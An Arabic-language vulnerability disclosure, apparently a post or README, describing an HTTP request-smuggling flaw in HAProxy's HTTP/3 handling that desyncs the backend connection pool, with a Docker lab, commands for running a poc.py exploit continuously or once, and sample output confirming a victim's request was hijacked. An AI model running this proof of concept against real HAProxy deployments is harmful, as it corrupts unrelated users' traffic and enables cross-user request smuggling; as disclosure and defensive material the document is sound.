
حزمة QUIC واحدة بحجم صفر بايت تكفي لفك مزامنة تجمع الاتصالات الخلفي في HAProxy وتهريب طلبات HTTP عبر مستخدمين غير مرتبطين ببعضهم — حتى المستخدمين على بروتوكول واجهة أمامية مختلف تمامًا.
المقال كاملاً هنا : https://r3verii.github.io/cve/2026/04/14/haproxy-h3-standalone-fin-smuggling.html
ثغرة في تنفيذ HAProxy لبروتوكول HTTP/3 تسمح للمهاجم بإرسال طلب HTTP يحمل ترويسة Content-Length لا تطابق الحجم الفعلي للجسم. يقوم HAProxy بإعادة توجيه هذا الطلب المشوّه إلى الخادم الخلفي عبر HTTP/1.1 مع Content-Length المُعلَن ولكن بدون أي بايتات للجسم. عندما يرسل الخادم الخلفي استجابة مبكرة (مثل إعادة توجيه 301) ويقوم بتفريغ الجسم المعلّق من اتصال TCP، فإنه يستهلك بايتات تخص الطلب التالي على ذلك الاتصال — والذي قد يكون صادراً من مستخدم مختلف.
يؤدي هذا إلى تهريب طلبات HTTP بين المستخدمين عبر تجمّع اتصالات الخادم الخلفي في HAProxy.
المتأثر: HAProxy مع دعم QUIC/H3 (). تم اختباره على HAProxy 3.0.18. : (غير افتراضي، لكنه شائع في بيئات الإنتاج)
USE_QUIC=1http-reuse alwaysDocker Compose مع 3 خدمات:
http-reuse always)autoindex on على دليل /photos، و/status يُرجع 200# 1. تشغيل المختبر (بناء HAProxy يستغرق ~10 دقائق في المرة الأولى)
cd poc/
docker compose up -d --build
# 2. تشغيل PoC في الوضع المستمر
docker exec -it poc-client python3 poc.py --target haproxy --port 10002 --interval 3
# 3. من المتصفح، انتقل إلى https://<host>:10002/status
# (اقبل الشهادة ذاتية التوقيع، واستخدم --ignore-certificate-errors في Chrome)
# حدّث الصفحة بشكل متكرر. ~50% من الاستجابات ستكون 400 Bad Request.
# 4. أوقف PoC (Ctrl+C). ستعود جميع استجابات المتصفح إلى الوضع الطبيعي (200).
docker exec -it poc-client python3 poc.py --target haproxy --port 10002 --once
المخرجات المتوقعة:
[1] إرسال طلب التسميم (H3/QUIC)...
-> تم استلام 301. اتصال الخادم الخلفي مُجمَّع مع تفريغ جسم معلّق.
[2] الانتظار 0.5 ثانية حتى يقوم HAProxy بتجميع الاتصال...
[3] إرسال طلب الضحية GET /status من اتصال QUIC منفصل...
-> الاستجابة: HTTP 400
[!] تم تأكيد التهريب
[!] حصلت الضحية على 400 على اتصال منفصل بدلاً من 200
[!] قام الخادم الخلفي بتحليل طلب الضحية كجسم لطلب POST المسموم